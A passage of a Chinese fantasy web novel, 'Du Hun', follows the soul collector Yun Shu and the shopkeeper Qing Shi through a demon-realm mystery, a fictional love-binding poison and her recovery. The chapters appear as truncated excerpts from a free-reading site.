后来有一回喝茶之时,鬼王耐不住好奇问了句:“你上次喝多了说的那要找的人是谁?” 青时一顿,从胸口处掏出一幅小小画像:“她叫云舒,是个神仙。你可认得?” 鬼王接过画像仔细瞧了瞧,摇摇头说:“从未见过。” “你说你从未见过,嗯?”青时眯了眯眼。 鬼王长叹出一口气,许是想起自己历经的某些回忆,对他颇有几分苦口婆心:“青时,她没有过去,也没有将来。” “别浪费时间做无用之事。” 青时手指摩挲着一个新杯子的杯沿,像是听进去了,又像是根本没在听人说话,思索许久问道:“魂使,到底是生是死?” “非生非死,”没有谁比鬼王更明白找不到想找的人是什么滋味,而他如今更是羡慕青时找了那么久可算是找到了人,但这云舒如今的情况又比较复杂,鬼王微蹙起眉:“饶是你灵力再高,也不是我冥府之人,若是终日与她待在一起,有损三魂七魄。” 闻言,青时放下杯盏,觉得口中香茗索然无味起来,嗤笑一声起身朝殿外走去,却至门口处堪堪顿下脚步:“你说了不算。” 鬼王怔愣一瞬,低头无奈笑笑,像是笑他,又像是几分自我嘲笑:“是啊,我说了不算。” 他起身叫住青时,觉得还是得提醒他,凝眉沉声:“若我没记错,她时日无多了。” 眼前那道黛蓝色的身影只一瞬间乍然消失。 鬼王撇了撇嘴,颇有几分怅然,道:“就走了?这回可别再嫌我没告诉你。” 那头施施然飘来一句话:“冥府预定的三百万把新款戮魂刀交付日期推迟百年。” “喂!”鬼王觉得又好气又好笑,方才他砸了他的鬼王殿都还没说什么呢。 * 冥界东罗大街。如同人界街市一般喧嚣热闹。 蔽月端了两碗面过来准备分云舒一碗:“先吃点面,咦?人呢?” 朝着面摊外四处看了看,才发现云舒正站在烤玉米的摊子前一动不动。 “来两根。”蔽月朝烤玉米的店家扔了几文钱。 烤玉米拿到手后,他把两根玉米都往云舒手中塞去:“拿着呀,你不是最爱吃烤玉米了。” “我……”云舒讷讷伸手接过,莫名有些魂不守舍。 “蔽月!云舒!”远处一道白色身影飞速朝着他们狂奔而来。 “梁图?”蔽月上前接住他的手臂:“稳一稳,跑这么急干啥?” 面前的白袍少年五官清减,瘦瘦弱弱,一根细长的白色布条在他的脖颈处打了个结,随风飘出老远。 稳住身子后,那脖颈处的薄布条好一会才落下来。 梁图喘着粗气,摊开手掌浮现一卷《渡魂手册》,交到蔽月手中说道:“出大事了,哎呀!来不及说,喏,这是赵阎王刚发下的任务手册,让我转交给你们。你俩快跟我一同前去吧!妖域芳茵秘境大乱,搞死了一个魂使!” “什么?!”蔽月看着手中的任务手册不免震惊。 他从未听闻魂使会被谁杀死,因魂使和地狱之息签下契约后便是不死不灭之身,除非这破契约到期了才会魂飞魄散。 以冥府在三界收魂之势力的霸道独行,怎会允许有人踩在头顶犯事,这人定是脑子被门夹了才会做出这等事情来。 云舒轻轻皱眉:“死的是谁?” 那边梁图已然开启了阴阳道:“吴非玉。” 前阵子云舒还和他一起执行过人界仙门中的收魂任务。任务结束之时,吴非玉还笑着与云舒说:“云舒,下回去人界我带你去朝香阁吃烤鸡!你定还没尝过,嘶,那叫一个香啊……” “走吧。”云舒握了握拳,一抬手便扔了两根烤玉米,随即踏入阴阳道中。 阴阳道正欲要合拢,但见一黛蓝色身影接过那两根烤玉米,飘然闪入。 青时跟着他们一同来到了阴森诡谲的阴阳道内。 云舒顿觉那白茶淡香朦胧又清冽地萦绕鼻间,神识不由自主地顿了顿,这才抬眼看着眼前这人无语道:“你跟来作甚?” 青时十分坦荡地望着她:“顺路,来妖域收账。” “这位是青老板吧?” 梁图上前呵呵笑着打招呼道:“前一阵我还去过昆仑杂货铺,在贵店采买了蜜竹,十分新鲜、甚是美味。” 云舒对着梁图乜去一眼,岔开话题:“你搭档呢?这次是谁?” 蔽月也觉得疑惑:“是啊,怎的还不见人影?” 话正说得热闹,忽地从虚无中有道魅惑般的女声传来:“女孩子出门,那自然是要梳洗一番咯。” 尾音勾人,地上暗色虚影逐渐聚拢,最终合成一个亭亭玉立的美人儿,一袭黑衣似解未解,腰带松松垮垮,左腿修长白嫩,有意无意地裸 6. 妖域乱(二) 《渡魂》全本免费阅读 06、 芳茵秘境豁然一处人间仙境,落英缤纷,远古时期巨大的花草树木肆意生长,原始而又蓬勃。 “这许久未到妖域收魂,此处还是这么如诗如画,令人沉醉呀……”蔽月张开双手闭上眼迎着风感叹。 谢缇随手摘下一朵艳红的五瓣花,也不知从哪变出一把精致的小小古铜镜子,纤细娇柔的手照着镜子便把花朵戴在了乌发中间。 满目欣赏自己的美貌:“虽说这妖域事多,却也不枉费这么走上一遭。” 蔽月一边呼吸山河灵气一边频频点头称是:“若冥府何时能够放个长假休息休息,那就更美哉了!” “对了!东罗大街的小贩前几天卖我一个新到货的留影盒,”谢缇欣喜地摊开手掌,一个极其精巧的青铜机关盒子出现手中: “快,蔽月,帮我在此巨花之前留影!” “好嘞!” 蔽月接过留影盒立马对着谢缇“咔嚓咔嚓”,谢缇快速变换各种姿势,两人玩得不亦乐乎。 “我说,”云舒撩起袖子举起拳头毫不犹豫朝那两人抡了过去,蔽月和谢缇一人领了一个额头包: “你俩是来收魂的还是来游山玩水的?” 梁图咯噔一声咽下口水:还得是云舒能制得住他俩,不过云舒是不是有点太过暴力了…… 他拿出手帕擦了擦汗,颤抖着手再次掏出《收魂手册》:“咱们、咱们还是再说说这老妖王吧!” 云舒拽过《收魂手册》看了一眼: “上面写着,老妖王在位时多次废除以吃生灵而修炼的妖域法则,主张吸收天地灵气、寻求天材地宝去提升妖的修为,故此,她下一世大概率转世为天赋极高的大妖,多加修炼有望成仙。” 蔽月一手撑着下巴摩挲着:“嗯……这么说来,她还减轻了咱们的工作。” 云舒朝他瞥去一眼:“你就想到了这些?” 蔽月摸摸鼻子,细长的眼笑得颇有些风流模样:“嘿嘿,我这不是顺便担忧大家的工作量太大嘛!” 谢缇拿着小镜子补了补口脂,抿了抿唇,撩撩发丝妩媚一笑道:“好啦好啦!咱们这不是都已经到了吗,收魂点就在前方的笼山溶洞之中,走吧!” 说着,扯过梁图脖子上的白布条瞬间不见了人影。 二人残影滑过,只留下梁图那划破天际的尖叫声: “啊——!慢——点——!” 蔽月望着那二人残影扯着嘴角笑得几分尴尬: “她还真是一如既往风风火火……” 与此同时,处在妖域边界线上的青时仍在原地转圈。 只见他伸手一指,地上立马显现灵兽阵法,阵中出现一只红色小龟,将将好能让他双脚站立在龟背之上。 红色小龟似乎早已料想到它会被青时召唤,打了个呵欠悠悠说道: “您这是又迷路了吧。” 驮着青时一步一步地往前行走着,声调如同一个百岁老人般:“说罢,这回是要去哪?” 见青时沉默不语,它疑惑地抬头看向他:“您不打算去找云舒么?” “你说,我与从前可有什么不同?有什么变化?”青时开口问:“主要是一些明显的地方?” “有。”小龟老实道。 青时跳下龟壳,蹲在它面前一脸严肃认真地渴求答案,像极了学堂里认真听讲的乖学生: “且说来听听。” 小龟望着这仅凭一张脸就横行三界的人,讥笑一声:“您比从前抠门了许多。” “比如?” “店内从不打折,以及我的住处简陋如斯久未扩建,千百年过去了我的吃食还是那老三样……” 小龟仰着头一一细数青时的罪状。 “啧,这皱纹没有长,头发也还没白,在她眼中应当是没有区别,嗯,谢谢你的鼓励。”青时说着,伸手轻轻拍了拍小龟的小脑袋以示感谢。 “喂,您到底能不能听懂我说的话啊……” “走吧,去妖域笼山。”青时重新踏上了龟壳,转念一想,似乎又觉得哪里不对,拦住小龟的步子说道: “不,我还是先回一趟铺子。” 小龟:…… 蔽月脚步虚浮,在漫山遍野的迷幻花丛中流连着慢行,他遗憾地瞧着前方这人的背影,觉着自己这搭档哪哪都好,就独独一点有所欠缺,不懂品味欣赏这世间美好。 云舒听着身后之人一步三叹气,憋着笑说道:“你的气什么时候比街口的老太太还长了?” 蔽月正欲张口,但见前方飞来一浑身长着翅膀的巨妖,落地时“轰”地一声横扫了整片苍天灌木。 “小心。” 他习惯性地将云舒护在身后,紧张问道:“没事吧?” 云舒警戒地朝前方凹陷处望去:“无碍。” 说着,右手已然祭出寒光四溢的戮魂刀横于身前,听见背后亦有细微响动,反应极快地侧身与蔽月背靠背作防御状。 不过眨眼间,云舒的身前果然闪现一只鱼头巨妖,仿佛是因领地被人侵入而怒不可遏地朝着他二人怒吼不止。 云舒指挥道:“那只交给你,这只我来。” 话音刚落,二人只觉头顶之处飘来一阵奇异花果香气。 “慢着。”头顶处那人声音传来,音色神似云舒,声调却比她细柔许多。 湖绿色霓裳缓缓从上空坠落至二人眼前,少女旋转着将脚尖轻点地上。 面前的少女眉目如画,夭桃秾李,语笑嫣嫣间侧头对着巨妖温柔呵斥: “不准伤人。” 蔽月怔愣半晌,看看那少女,又转头看看云舒,他觉得自己眼花了又双手用力揉了揉眼眸,大喊出声: “你俩!怎么、怎么回事?!” 那少女的相貌竟与云舒长得一模一样了去! 少女侧头回望而来,原本白皙透粉的小脸也在刹那间惊得失色惨白,看着云舒倒吸一口气:“啊!你……” 蔽月讶异地起了满身的鸡皮疙瘩,颇有些不解地望着云舒,她倒是淡定地只拧了拧眉。 “你认得我?”云舒只是显露些许诧异,她活得太久了,遇着再如何惊奇的事情也不过偶尔心怀几分好奇罢了。 若是问不出结果,其实她也并不在意。 绿裳少女咬了咬红嫩下唇,探究着与云舒对视,默然片刻,终是觉得气场自愧不如,敛下眉目悄悄看了几眼云舒的身段,觉得那腰胸皆不如自己方才缓了几口气,复又抬起下巴道: “世间事真是无奇不有,姑娘为何来此?” “这个你就不必管了,方才多谢姑娘,告辞。”云舒冷 7. 妖域乱(三) 《渡魂》全本免费阅读 07、 云舒实在是没明白过来,方才还在与那妖域二人说话,怎么就一会功夫她竟晕了过去。 是她大意了。 再醒来时发现处在一华丽宫殿之中,灵力全失浑身绵软无力,连衣服都被人换了一身绿色。 这妖域果真问题不小,也不知蔽月他们几个如何了。 她起身走去开门,却发现门上被人施了术法结界,怎么用力都打不开。 “姑娘醒了,快去告诉少主。”门外隐约有小妖怪尖细的说话声传来。 不多时,落九尘开门进殿,见着云舒正坐在桌前喝茶,走过来笑意浅浅: “析木,你终于醒了。还记得吗?这里是你曾经住过的房间,我让他们每日打扫,不曾动过这里的东西。” 云舒放下茶水,看向他目光冷然:“我怎么晕的?” 落九尘靠近了坐在云舒身边的凳子上,身上隐约有丝丝奇异香气传来,云舒一顿,觉得甚是熟悉。 但见他坦然一笑:“噢,那丛羽兽不大听话,我已命人将它翅膀拔了关起来受罚。” 是先前绿裳少女召唤来的那只浑身长满了翅膀的妖兽,晕过去之前似乎确实见它从翅膀中喷洒出彩色的粉末来。 云舒伸指按了按太阳穴,这粉末也太厉害了些,醒来已经好一会了到现在还是头疼:“你为何将我关起来?和我一起来的同伴呢?” 落九尘神色有些受伤,当即挥手撤掉了结界,笑意收敛:“不是关你,是怕有人打扰了你休息。” “你的朋友在后面的院落中,还未醒来,等会他若是醒了,让人带你去见他。你饿了吧,我们先吃点东西,来人,上菜。” 云舒听他句句温和,故也放松许多,问道:“我的灵力何时能恢复?” 落九尘生的好看,笑起来颇有些容色倾城的贵公子模样:“不着急,过几天便好了,咱们先吃点东西,我让他们准备了你爱吃的菜。” 小妖怪们动作麻利,不一会儿便已经将菜上齐,云舒定睛一瞧,还真都是她喜欢的菜色,愈发满脸疑惑地望着他: “可否与我讲讲从前之事?” 落九尘的目光本就满含期待地落在云舒身上,观察着她一举一动,听她这么说,心里别提有多高兴,一时间竟有些语无伦次起来: “啊,析木你、你想要知道那真是太好了……是这样的,我们从前、从前真的很好!” “嗯,”云舒夹起一口菜放进嘴里嚼了嚼: “你所说的析木,是你给我起的名字?” 落九尘连连摆手:“不是的,从我与你相识的那天,你亲口告诉我这是你的名字。” “然后?”云舒舀了一口汤喝下,似乎并不太在意这些过往。 落九尘却如同情窦初开的少年一般,被云舒盯得红了红脸,连手都不知道该往哪放:“我们……咳,相识相知相恋,很快,随后见了父母,成了亲,在这里……” 话未说完,敲门声响起打断。 落九尘有些不悦,微微蹙眉朝着门外沉声问道:“何事?” 门外的小妖怪回说:“昆仑杂货铺的账房前来收账,另外有重要贵客来访。” “何人来访?让管事去接。”他不耐烦回道。 小妖怪有些为难,硬着头皮提醒道:“那边说是您接待才合适。” 落九尘停顿一下,对云舒柔声道:“析木,你先吃,我去去就回。” “嗯。” 笼山议事殿内。 落九尘看着宿息语轻笑:“宿姑娘,别来无恙啊。” 他在许多年前第一次见到宿息语时也未曾料想,昆仑杂货铺的账房竟是一个看着只有二八年华的娇弱小姑娘。 但她也只是看上去娇弱罢了,瘦瘦小小,在要事上半步不让,对账目更是仔细又认真。 “这位是?”落九尘关注到她身侧站着一个身着黛蓝色衣袍的男人,气度不凡,是绝不容人忽视的存在,且身上仙气四溢,不似这凡间之人。 他心底隐隐有了些许猜测。 宿息语立刻印证了他的猜测,大方笑着介绍:“落少主,这位是我们铺子的主人,青老板。” 又转身将落九尘介绍给青时:“老板,这位是落少主。” 趁着周围人不注意冲青时眨了眨眼,凑到他身侧小声补了句:“跟你提过的。” “你好,落少主。”青时淡笑着打过招呼。 宿息语觉得今日真真是太阳打西边出来了,自她进入昆仑杂货铺以来,可是数百年都未曾见过她家老板要跟着出来看谁做事的。 难得啊难得,她倒还真想看看究竟是何方妖孽招动了这尊懒鬼。 落座之后,落九尘不经打量起青时来,这收账之事自然是账房先生来做,他来此处,应当还有其他事情。 于是几番攀谈过后,落九尘将心中疑惑说了出来: “青老板可要在我妖域之中多游玩几日?芳茵秘境的景色冠绝三界,绝非浪得虚名啊。” 青时等的就是他开口问话:“不错,没想到让落少主看了出来,我平日事忙,但听闻芳茵秘境乃是三界绝景,属实慕名已久。” 落九尘乐得听人夸奖自家地盘,哈哈大笑几声: “青老板不嫌弃的话,这几日就在我笼山住下,也省的找那些客栈不干不净的,吃食也不如我这好。” “那便有劳了。” 落九尘觉得青老板这送上门的招待,他身为妖域少主怎么说也必须要接住了,于是对小妖怪们吩咐道: “晚上排个酒宴出来,菜色挑些好的。” 转而又对着青时笑道:“青老板,晚上的宴席还请务必赏光。” 青时也爽快接下这份客气:“这是自然,多谢落少主。” * 云舒当然不可能乖乖待在殿内。 按照《收魂手册》上标注的收魂点行去,进入了笼山溶洞。 洞内蓝紫光芒交织,堆积的怪奇晶石瑰丽耀眼。 越往内走,越是空寂,明明该是老妖王魂魄存放之处,可这地方竟是无人值守。 之前眼看着梁图和谢缇他俩进了这里现下却不见踪影…… 云舒不敢松懈,放缓了呼吸和脚步,慢慢往前探,走了许久,几乎感觉已经走入了山体的最深处。 忽而听见一块巨大无比的紫色晶石背后有微 8. 妖域乱(四) 《渡魂》全本免费阅读 云舒回到殿中之时便见到落九尘坐在桌前翻着书,那样子仿佛已经等了她很久很久。 她双手环胸站在一旁看了他一会,落九尘浑然未觉,眼睛盯着书页,但神魂却在出窍。 “你经常这样坐着发呆?” 她也不是没见过发呆的人,但是这样发呆到失魂的人确实少见。 落九尘这才被惊了醒,眼神看云舒有几丝闪躲: “噢,嗯……我方才,在想些事情。” 云舒自然捕捉到了他的闪躲,不过也并未将他的情绪放在心上。 “那个姑娘去哪了?” 云舒想起方才在溶洞中发生的事,状似不经意地问起了那个绿裳女子的情况。 落九尘恍惚间仍未从方才的思绪中剥离: “哪个?” “我那天要砍的那个穿绿衣服的,”云舒讲话素来直白简要,看了眼自己身上的衣服:“穿得跟这套衣服一样的那个姑娘。” “她啊,”落九尘合上了书页,低着头舔了舔干燥的唇: “她回去了。” 你来了,自然用不到她了。 “回哪去?” 落九尘抬眸,望见云舒的眼里暗含几分清楚直白的冷冽,他一直都明白的,一千多年以前,她就会用这样的眼神看他。 他自嘲似的笑笑,轻声道:“她回家了。” 摇了摇头,将消极情绪甩出去后,复而挂起笑脸浑然一个纨绔贵公子: “析木,你这是吃醋我养了一个与你长相一样的女子?嗯?” 眉尾一挑,风流意味倾泻而出。 “她与你是何关系?”云舒不答反问,声调理智又平静,对于他方才的暧昧逗弄近乎无视,一心只管问自己想问的事。 落九尘听闻她如此问话,瞬间淡下笑容: “析木,你可是真真狠心。” 只停顿一瞬,他才又回过神来她什么都不记得了,苦笑说道: “一千多年前,你与我成亲之后第二日便不知所踪,徒留我一人待在妖域苦熬……直到几年前,子玉出现……” 落九尘眼中的思念宛若溢出,起身往前几步靠近云舒,禁不住心里的魔障伸出手想要触碰她的脸颊。 云舒站着未动,身子后移半分躲了过去,视线冷然地看着他: “所以你现在的妻子是子玉姑娘,而不是我。” 云舒能感受到他的郁闷,可她却无从回应,对他的话也只半信半疑。凭着她什么都不记得了,难道就要去相信他说的每个字? 她走开几步,单手支着下巴说道: “唔,如此挺好。落少主,过去之事已成定局,待我灵力恢复,便是要回到冥府,这几日叨扰了。本想与子玉姑娘道歉一声那日误会,可方才出门一趟也寻不到她人,劳烦你帮我说上一句了。” 一番话下来便是旧相识再见的礼节十分周到。 落九尘捞了个空的手指沉默着收回,心中相思比那千年之间每日饮下的苦药不知涩然了多少倍: “不叨扰,你先好好休息,我明日再来看你。” * 宿息语在这数百年间除了平时做账收账,还真是极少参加宴席这类东西。 妖怪们更不似凡人规矩多,还没正式开启晚宴,妖怪大臣竟已抱着大酒坛子躺的东倒西歪,喝醉了好几个。 哪怕她平日滴酒不沾,也不好拒绝了妖怪们的热情,只好端起酒杯抿上几口。 她瞥了一眼身侧坐着的青时,饶有兴趣地帮他也倒了一杯酒。 想起几个时辰之前,在铺子里听见他说要跟着来妖域收账她就觉得莫名好笑,这事怎么说也必须得应了他,定有好戏可看。 落九尘身为主人家却是姗姗来迟,手中还牵着一个绿裳女子过来。 那绿裳女子似是与他闹了别扭,俩人氛围明显有几分不愉快。 宿息语自打这绿裳女子进门那一刻起就觉得她极其眼熟,双眸潋滟,娇丽近妖,她定是在哪里见过这人的。 哪里见过呢…… 直到落九尘与绿裳女子落座,落九尘笑着举杯起身自罚三杯酒时,宿息语仍未记起在哪见过那个女子来。 “让青老板久等实在愧疚难当,九尘先自罚三杯谢罪!”落九尘举杯朗声道。 青时也笑着回应:“落少主客气了。” 他淡淡扫过上首,目光却落在那绿裳女子身上一瞬。 宿息语是个眼神极快的,即刻捕捉到了青时的神色。 在她对于她老板这数百年间的了解,除了那个找不到人影的传说中的老板娘,老板对任何女子都不感兴趣。 老板娘?嘶……老板娘…… 宿息语手中酒杯一斜,不少香酿汩汩洒落在地。 青时回过头来奇怪地看着她:“怎么了?你也会走神?” 宿息语向来谨慎专注,做事认真,也不知今日这是怎么了。 “不好意思,方才手抖了,大家继续喝,呵呵。” 她只是猛然回想起了曾看过的老板娘画像啊!这不就坐在落九尘边上吗! 宿息语朝着青时连连挤眉弄眼,又用下巴轻轻指了指绿裳女子,以表达自己内心的震惊。 老板寻了上千年的老板娘就坐在眼前,怎能忍着不去相认? 青时看着她乱七八糟不断变换的表情,使劲忍住不笑,侧头对她淡声说道: “你认错人了。” 宿息语倒吸一口凉气,看看这几人又看看手里的酒,深觉得自家老板原来这么会玩。她以前居然没发现? 从绿裳女子进门那一刻青时便已看见了。 他方才那一眼不过是在疑惑这女子的穿着打扮,竟与千年之前他第一次遇见云舒之时一模一样。 世间哪有巧合?想必落九尘是认得云舒的。 有意思了。 青时喝下一口浊酒,妖域的酒果真与凡人和仙人所酿都有不同,醉人的很。 落九尘看见宿息语频频望向他边上的人,于是开口介绍道: “二位甚少来妖域,有所不知,这是我的妻子,析木。说来,我二人结亲也已有千余年了。” 说着,伸手抚在了她的手上。 子玉难以置信地侧头瞪着落九尘,心里闷疼,这人如今就连她的名字都要剥夺,何至于此? 落九尘觉得宿息语的反应有些奇怪,像是认识子玉似的…… 或者说,她认识析木? 于是问道:“宿姑娘,认识内子?” 宿息语连连摆手:“没有没有,不认识,认错了。” “是吗。” 云舒觉得还是得再去找找蔽月,从方才的试探看来,几乎可以断定落九尘不会那么轻易让她恢复灵力。 她问小妖怪要回了自己的那套黑袍衣裳,撕下左袖 9. 妖域乱(五) 《渡魂》全本免费阅读 09、 “蔽月……” “蔽月!” 云舒从床上惊醒坐起,闭了闭眼,神识仍是一片混沌,浑身脱力,就像被人搅拌着抽干了骨血又重新强行塞回去一样。 难受得直犯恶心。 “啪” 云舒循着声响望去,那个身着黛蓝色衣袍的男人正坐在房间木窗边,映着斜阳,姿容绰绰,明明处在暖光之中,却又让人感觉无端散落清冷。 他将手中的书卷砸在了窗边的木桌上。 似乎心情极差一般朝着云舒看来: “你醒了。” “嗯。” 云舒忍下从头发丝到脚底的强烈恶心感回应他:“谢谢你救了我。” 他只是看着她,没有表情,也不说话,云舒想,这人真是和丧葬店内的纸人有得一拼。 不过,他比那些死里死气的纸人要好看多了。 “啪嗒、啪嗒” 云舒一时不觉,伸手摸了摸嘴角,低头一看才发现满是黑血顺着她的下巴流下。 一道黑影从上笼罩下来,青时不知何时已来到床边站着,弯下腰伸出修长手指在她唇边摩挲了下。 然后,云舒看见他一脸淡然地将那沾了黑血的手指放在自己唇边舔了两下。 就像他那天在冥府喝茶一样悠然,再抬眼看她却又有几分幽冷疏懒。 云舒惊得瞪大双眼,只来得及轻声冒出一个字:“脏……” “呃,呕……” 还来不及下床,低头便是吐了一床和一地的黑血。 “对不起……呕……” 一旦溢出来就接连吐个没完没了。 待云舒好不容易觉得五脏六腑都要被掏空了,又是一顿头晕恶心,顾不上衣服和被子的脏污,重新扒在床边就又开始吐。 青时却一脸不在意的样子蹲在床边,就那么看着她吐。 云舒在吐的间隙瞥了他一眼,只觉这人指不定是有什么特殊癖好的,毫不避讳,竟还有这种看人呕吐的喜好。 九遍,断断续续,整整连着吐了九遍,云舒觉得连她上辈子吃进去的东西都要吐出来了。 这才稍微缓解了些许刚头神识的混沌之感。 虽然是污血,可整个五脏六腑都空了,现下是肚子也饿,口也很渴。 “落九尘给的东西你就随便吃?” 青时从袖中掏出一方帕子轻轻擦拭云舒脸上的污血。 云舒吐得累极,无力思考回答。 双手勉力撑着不让自己倒下,呆愣着盯着地板不停喘息缓解难受,倒也没在意眼前这人对她似乎毫无边界。 敲门声响起。 门外一道裹了蜜果甜味的女声落入耳中: “老板,您找我?” 商余音自打来了昆仑杂货铺帮忙,还未曾踏入过木屋的六楼,听周掌柜说这是老板的住处,店铺伙计一般无事都不会上去,除非有老板本人的指令。 可方才老板竟找人传话让她上六楼,那人临走还说:“太阳打西边出来了,老板从不让女人上六楼。” 她有些娇羞又美滋滋地咬了咬下唇,迫不及待地一口气从店铺一楼奔跑上六楼。 临到房门前,她一遍又一遍轻拍胸脯,压下心中欢喜,来了几日也没怎么见着他,本以为他将她晾着是不是不喜欢她。 但现在看来并非如此,这男欢女爱乃是世间常事,一想到那谪仙般的样貌身形商余音便是止不住羞涩窃喜,父亲真是为她找了一门合心意的好婚事。 于是也不多踟蹰,她深知自己的嗓音对于世间男人的魅力有多大,清了清嗓子,敲敲房门,柔声问道: “老板,您找我?” “进来。”里面的人很快回答。 开门,低眉顺眼进入然后关门。 商余音转身,只瞬间被眼前画面震惊地张大娇唇,口舌颤动半天,眼也忘了眨,更说不出一个字来。 这满地满床的黑血! 黑中带着隐隐暗红,如一朵朵地狱幽莲绽放。 更是像极了血腥至极的屠宰现场! 还有满屋的血腥味浓得让人闻之欲呕。 床上那个身着绿裳的女子披头散发,身上、脸上、浑身血污地坐在滩滩黑血之中。 脸色惨白,似索魂恶鬼。 可她的一张脸又是那么灵气娇美,宛若挣脱地底污泥肆意生长而出的瑰丽之花。 商余音看了半晌都回不过神来。 直到青时喊她: “有没有还未穿过的衣裳,借一套给她。” 商余音这才反应过来,看向青时,却见他几乎跪在床边,为那床上女子擦拭脸颊的污渍,认真又专注。 “哦……哦,有的。”她落荒而逃。 飞奔出门,又迅速拿了一套干净衣服上楼。 “老板,你要的衣服,没穿过的。” “你下去吧。” 青时接过衣服,对着云舒道:“旁边有浴房,你舒服点了就先清洗一下。” 商余音一步三回头地往回走,走到门口时隐约还听到老板对那女子说: “她身形与你相似,衣服定是合身的。” 她想起前日听着周掌柜念及:“老板有清洁之癖,铺子内的物品每日都需要擦洗干净。” 可他的房间如今却被一个女子吐得满地污秽,连床都…… 商余音感觉自己像被谁用大锤敲了一下。 眼睛涩涩的,喉间酸涨,又羞又恼又气,可是,她到底在气些什么她自己也不清楚。 云舒喘息了一会过后,感觉四肢总算恢复了些力气,连灵力也能感受到在慢慢回归。 她起身伸手接衣服看了眼青时:“多谢,真是麻烦你了。” 青时却拿着衣服避开:“你手上脏了,先别碰,我把衣服给你放在里面。” “好……”云舒愣愣地应了一声。 这说不出的诡异的熟悉感如潮水般漫上心头。 也只一瞬,云舒便停了继续想下去的念头。 她洗完出来便看见几个仆从已经在打扫房间,方才那骇人的“屠宰场”已经不见了踪影。 只残留着几分淡淡的血腥气味仍未散去。 云舒往窗外看了一眼,太阳落山了,坠了满幕的星空。 房间内灯照如昼。 青时一如方才那般坐在窗边,不再翻看书卷,而是抱着一只黑白相间的猫咪抚摸着。 云舒披散着半湿不干的乌发不好意思地走过去: “那个……我不小心扯断了发带,你这有没有……你放心,我会付钱的。” 兴许是刚才那场足够惨绝人寰的吐血,她总觉得被救了还这么多事麻烦人 10. 妖域乱(六) 《渡魂》全本免费阅读 “你给她吃了夜蝶炽粉?” 子玉满目苍凉地直视着落九尘,质问道。 她眼看着落九尘发了疯似地找人就预感不对劲。 扒开他的内衫看到胸口伤疤才终于确认,哪怕数年相伴,他也从未将她放在心上过。 夜蝶炽粉,是妖域王族夜蝶一族用于缔结伴侣的瘾毒。 缔结那一生之中仅有的一个伴侣。 待吃下炽粉缔结之后,落九尘随时可以感应那人身在何方,因炽粉中瘾毒的牵引,那人不可距离他太远,炽粉的瘾毒只有施毒之人的爱欲可解。 而施毒之人则需要将魂魄汇于心脉,汲取出夜蝶原身体内分别藏于五脏六腑的一滴母毒血。 凶险且伤及魂魄,故而夜蝶一族哪怕天生携带此毒,也很少有人会去对伴侣使用。 真是一种极致浪漫又残忍如斯的毒。 子玉轻声嗤笑,笑得喉咙发苦,潋滟双眸中的泪再噙不住,划过霜白脸颊。 她咬着牙尽量不让自己的声音颤抖:“你就那么喜欢她?” “我只是……想让她留在妖域陪我……”落九尘看着虚空处,双目失神,喃喃自语道。 “……她知道饭菜里面有毒,却也还是吃了。” “可她为何还是要走?” 他怎么也想不透这是为什么。 云舒当然知道那饭菜有毒。 她想死想了很多年了。 只是死不了。 在这千年之间,地狱之息的契约让她每每负伤濒死之际,又重新活过来。 冥府之人最常笑言,他们这命简直比猫的九条命还多。 而对于云舒来说,她与地狱之息的契约如今只差十年到期。 魂飞魄散的日子根本不差这一天,抑或是十年。 所以,当她看到有毒的饭菜,只觉在那么香的饭菜里面下毒也是可惜,她毫不犹豫就下筷开吃了。 却是没想过落九尘下的是这样一种毒入魂魄的妖毒。 她吃的是他割取魂魄所饲养的瘾。 “呃,呕……” 早上刚吃过一餐,便又开始神识混沌地吐血。 吃得有点饱,云舒原本想要下楼走一走,竟不料刚走到院中就止不住浑身泛起恶心。 “云舒?你怎吐出这么多黑血?” 声音润朗,云舒抬头看见了一个满头红发肆意乖张的红衣小少年。 她脱力地眨眨眼,看向那头红发……看着好像很好摸的样子。 红衣少年伸出手扶过云舒,想将她扶到院中的摇椅上坐下,哪知刚走两步,云舒又开始呕吐。 黑到发红的鲜血淋漓在院中一片翠色草木之间。 红衣少年显然有些慌张,他还从未见过云舒这幅样子:“我、我去喊青时过来!你在这等我,等我哦!” 红衣少年噔噔噔几步上楼,“砰”地一把推开三楼议事房房门:“青时,云舒在下面吐得不省人事……” 话未说完,那道蓝色身影乍然消失在房中,徒留对面坐着的几个顾客面面相觑。 立在一边的周掌柜咳了两声,笑道:“老板娘最近身体多有不适,需得老板操心照顾。咱们要不先到厅内看看货品实物,来,几位这边请……” 第六遍,云舒在心里默数,今日已吐了六遍。 青时拍拍她的背,递上干净整洁的白色帕子。 “……多谢。” 云舒吐得浑身酸软,脱力瘫坐在院中椅子上。 青时将一颗黄色丹丸递给她:“吃了会感觉好些。” 她接过丹药,望着青时问道:“这瘾毒是不是无解?” 他站在那,逆着晨曦之光,似乎是极浅地笑了声:“不会的。” 青时走到她身边拉过一张竹椅坐下,棕灰色的瞳中倒映着她:“这世间还没有我铺子解不了的毒,你可莫要砸我招牌。” “昨日你昏迷之时已经服下一粒上灵丹,若不是这上灵丹的阻隔效用,你离不开妖域,也离不开落九尘。” 云舒不知为何,总感觉从他语气中听出一丝咬牙切齿的意味来。 他接着说:“吐出黑血是为了给你洗魄,瘾毒碍于你三魂之中的地魂与地狱之息相连,就先去侵蚀了七魄。” 原来如此。 “那我还要吐多久的黑血?” 并非云舒娇弱,这实在是有够难受的,神识混沌,魂魄紧缩成一团,她这千年间被鬼怪妖魔砍了无数刀也从没有这样难受过。 青时不想骗她,目前只能这样阻隔,并不是真正的解毒。 云舒看他不说话,隐隐猜到一些,皱起了眉头:“不是吧……每天?” 青时觉得她的表情很好玩,勾起唇角笑了:“或者说……你乖乖待在施毒者的身边,就什么事都没有。” “待在落九尘身边?”云舒嗤笑一声:“呵,我道这瘾毒有什么好让他给我下的,他为了这男女情爱还真是煞费苦心。” 青时没有告诉她瘾毒的真实含义,只是感叹:“他想与你长相厮守,只不过手段卑劣了些。” 说完,他静默地注视着云舒的反应。 云舒冷淡又直白地对他说道:“情爱于我而言毫无意义,这千年,我已看过太多无情人无情鬼,世间之事瞬息万变,心这种东西,虚无缥缈。” 她也不知为何,自然而然将一些话说了出来,她原本不屑与谁拆解这些。 或许是晨光铺撒的角度让她觉得舒服,也或许是感觉与眼前这人还算聊得来罢。 云舒将一手抬起,透过阳光去看手指间方才吐血时沾染上的血迹:“你明白在地府等死千年的感觉吗?” 云舒脸上浮起一丝若有似无的笑意,可这笑很苍白:“算了,你非地府之人,哪怕说了你也不会明白。” 